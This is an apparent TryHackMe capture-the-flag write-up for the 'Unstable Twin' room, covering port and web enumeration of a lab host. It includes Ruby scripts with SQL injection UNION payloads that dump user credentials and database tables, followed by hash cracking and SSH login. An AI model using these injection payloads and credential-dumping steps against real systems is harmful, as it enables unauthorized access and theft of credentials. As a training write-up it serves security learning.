Unstable Twin - Write-up - TryHackMe

Information

Room#

  • Name: Unstable Twin
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: A Services based room, extracting information from HTTP Services and finding the hidden messages.

Unstable Twin

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap ffuf curl steghide

Network enumeration#

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.91 scan initiated Mon Aug  2 17:06:40 2021 as: nmap -sSVC -p- -v -oA nmap_scan unstabletwin.thm
Nmap scan report for unstabletwin.thm (10.10.123.253)
Host is up (0.024s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 ba:a2:40:8e:de:c3:7b:c7:f7:b3:7e:0c:1e:ec:9f:b8 (RSA)
| 256 38:28:4c:e1:4a:75:3d:0d:e7:e4:85:64:38:2a:8e:c7 (ECDSA)
|_ 256 1a:33:a0:ed:83:ba:09:a5:62:a7:df:ab:2f:ee:d0:99 (ED25519)
80/tcp open http nginx 1.14.1
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: nginx/1.14.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 2 17:09:35 2021 -- 1 IP address (1 host up) scanned in 174.83 seconds

Add local domain.

1
2
$ grep unstabletwin /etc/hosts
10.10.123.253 unstabletwin.thm

Web enumeration#

The homepage is blank http://unstabletwin.thm

Let's enumerate to find routes.

1
2
3
$ ffuf -u http://unstabletwin.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
...
info [Status: 200, Size: 160, Words: 31, Lines: 2, Duration: 40ms]

There is one endpoint: http://unstabletwin.thm/info

It seems to be authenticated because it returns this message:

"The login API needs to be called with the username and password fields. It has not been fully tested yet so may not be full developed and secure"

Let's see HTTP headers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ curl -v http://unstabletwin.thm/info
* Trying 10.10.123.253:80...
* Connected to unstabletwin.thm (10.10.123.253) port 80 (#0)
> GET /info HTTP/1.1
> Host: unstabletwin.thm
> User-Agent: curl/7.78.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.1
< Date: Mon, 02 Aug 2021 15:12:46 GMT
< Content-Type: application/json
< Content-Length: 160
< Connection: keep-alive
< Build Number: <edited>
< Server Name: Vincent

The last two headers are custom.

1/2 times we have version 1.3.4-dev and 1/2 times 1.3.6-final as build number and Vincent and Julias as server name.

The /api/ route doesn't answer anything (with GET method) but maybe there are endpoints under it that does. Also the endpoint answers to POST.

1
2
3
4
5
6
7
8
$ ffuf -u http://unstabletwin.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -X POST
...
api [Status: 405, Size: 178, Words: 20, Lines: 5, Duration: 1037ms]
info [Status: 405, Size: 178, Words: 20, Lines: 5, Duration: 960ms]

$ ffuf -u http://unstabletwin.thm/api/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
...
login [Status: 405, Size: 178, Words: 20, Lines: 5, Duration: 32ms]

Let's see if we can do something with this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ curl http://unstabletwin.thm/api/login
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

$ curl -X POST http://unstabletwin.thm/api/login
[]

$ curl -X POST http://unstabletwin.thm/api/login --data 'username=noraj&password=pass'
"The username or password passed are not correct."

$ curl -X POST http://unstabletwin.thm/api/login --data "username=noraj'&password=pass"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

SQL injection#

The server reacts badly when we inject a quote, there may be a SQLi.

Here is a ruby PoC to extract all credentials.

1
2
3
4
5
6
7
8
9
require 'httpx' # https://gitlab.com/honeyryderchuck/httpx/-/wikis/home

params = {
'username' => "noraj' UNION SELECT username, password FROM users-- -",
'password' => 'pass'
}

res = HTTPX.post('http://unstabletwin.thm/api/login', form: params)
puts res.body

Note: only 1/2 request is vulnerable depending on what version of the server is answering.

Mary Ann's SSH password is not here.

With this Ruby PoC we can list other tables:

1
2
3
4
5
6
7
8
9
require 'httpx' # https://gitlab.com/honeyryderchuck/httpx/-/wikis/home

params = {
'username' => "noraj' UNION SELECT null, tbl_name FROM sqlite_master-- -",
'password' => 'pass'
}

res = HTTPX.post('http://unstabletwin.thm/api/login', form: params)
puts res.body

Result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[
[
null,
"notes"
],
[
null,
"sqlite_sequence"
],
[
null,
"users"
]
]

Let's see the notes table.

1
2
3
4
5
6
7
8
9
require 'httpx' # https://gitlab.com/honeyryderchuck/httpx/-/wikis/home

params = {
'username' => "noraj' UNION SELECT null, notes FROM notes-- -",
'password' => 'pass'
}

res = HTTPX.post('http://unstabletwin.thm/api/login', form: params)
puts res.body

Result:

1
2
3
4
5
6
7
8
9
10
[
[
null,
"I have left my notes on the server. They will me help get the family back together. "
],
[
null,
"My Password is <long_hash_edited>\n"
]
]

We have found a long hash, let's identify it with haiti:

1
2
3
4
5
6
7
8
9
10
11
12
$ haiti 'ea<edited>f4'
SHA-512 [HC: 1700] [JtR: raw-sha512]
SHA3-512 [HC: 17600] [JtR: raw-sha3]
SHA3-512 [HC: 17600] [JtR: dynamic_400]
Keccak-512 [HC: 18000] [JtR: raw-keccak]
BLAKE2-512 [JtR: raw-blake2]
Whirlpool [HC: 6100] [JtR: whirlpool]
Salsa10
Salsa20
Skein-512 [JtR: skein-512]
Skein-1024(512)
Umbraco HMAC-SHA1 [HC: 24800]

It's a SHA-512 hash, it was easily cracked with https://crackstation.net/

SSH access#

Now we can access the server via SSH, find the user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh mary_ann@unstabletwin.thm
mary_ann@unstabletwin.thm's password:
Last login: Sun Feb 14 09:56:18 2021 from 192.168.20.38
Hello Mary Ann
[mary_ann@UnstableTwin ~]$ id
uid=1000(mary_ann) gid=1000(mary_ann) groups=1000(mary_ann) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[mary_ann@UnstableTwin ~]$ ls -lhA
total 24K
-rw-------. 1 mary_ann mary_ann 115 Feb 13 10:24 .bash_history
-rw-r--r--. 1 mary_ann mary_ann 18 Jul 21 2020 .bash_logout
-rw-r--r--. 1 mary_ann mary_ann 141 Jul 21 2020 .bash_profile
-rw-r--r--. 1 mary_ann mary_ann 424 Feb 13 10:18 .bashrc
drwx------. 2 mary_ann mary_ann 44 Feb 13 09:51 .gnupg
-rw-r--r--. 1 mary_ann mary_ann 219 Feb 13 10:13 server_notes.txt
-rw-r--r--. 1 mary_ann mary_ann 20 Feb 13 10:15 user.flag

Elevation of Privilege (EoP)#

There is a hint too!

1
2
3
4
5
6
7
8
[mary_ann@UnstableTwin ~]$ cat user.flag
THM{edited}
[mary_ann@UnstableTwin ~]$ cat server_notes.txt
Now you have found my notes you now you need to put my extended family together.

We need to GET their IMAGE for the family album. These can be retrieved by NAME.

You need to find all of them and a picture of myself!

I first tried curl http://unstabletwin.thm/api/image?name=vincent but it was curl 'http://unstabletwin.thm/get_image?name=vincent'.

Let's download an image then:

1
2
3
4
5
6
$ curl 'http://unstabletwin.thm/get_image?name=vincent' --output vincent.png
$ file vincent.png
vincent.png: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 630x420, components 3
$ mv vincent.png vincent.jpg

$ curl 'http://unstabletwin.thm/get_image?name=mary_ann' --output mary_ann.jpg

Let's write a ruby script to extract all images:

1
2
3
4
5
6
7
8
require 'httpx' # https://gitlab.com/honeyryderchuck/httpx/-/wikis/home

users = %w[julias linda marnie mary_ann vincent]

users.each do |user|
res = HTTPX.get('http://unstabletwin.thm/get_image', params: { 'name' => user })
File.write("images/#{user}.jpg", res.body)
end

Unrealistic steganography#

Extract a hidden file with steghide for each image, eg.

1
$ steghide extract -sf julias.jpg

Then let's read the extracted files:

1
2
3
4
5
6
$ cat julias.txt linda.txt marine.txt mary_ann.txt vincent.txt
Red - 1<edited>Z
Green - e<edited>1
Yellow - j<edited>X
You need to find all my children and arrange in a rainbow!
Orange - P<edited>w

So let's re-order the colors:

1
2
3
4
Red - 1<edited>Z
Orange - P<edited>w
Yellow - j<edited>X
Green - e<edited>1

Then it seems decodable as Base62 on CyberChef.

1
You have found the final flag THM{EDITED}
Share